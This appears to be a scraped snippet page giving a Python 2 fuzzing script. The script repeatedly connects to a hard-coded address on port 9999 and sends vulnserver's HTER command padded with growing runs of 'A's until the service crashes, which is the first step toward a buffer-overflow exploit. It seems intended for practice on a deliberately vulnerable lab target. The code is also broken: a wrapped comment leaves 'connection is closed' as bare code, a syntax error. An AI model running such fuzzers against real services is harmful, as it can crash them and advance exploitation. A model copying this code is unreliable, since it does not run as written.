python scrupt fuzzing code example

Example: python scrupt fuzzing

import socket
ip = "194.168.1.154"
port = 9999
numAs = 10

try:
	while True:
		# open a connection to vulnserver
		s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
		s.connect ((ip, port))
		# receive the banner for vulnserver
		s.recv (1024)
		print "[*] Sending " + str(numAs) + " As"
		# send the number of As to fuzz the HTER command
		s.send ("HTER " + "A" * numAs + " \r\n")
		# receive the response from vulnserver
		s.recv (1024)
		# close the connection
		s.close ()
		# increase the number of As we send next time
		numAs += 10
except:
	# if we get to here then something happened to vulnserver because the 
	connection is closed
	print "Socket closed after sending " + str(numAs - 10) + " As"

Tags:

Misc Example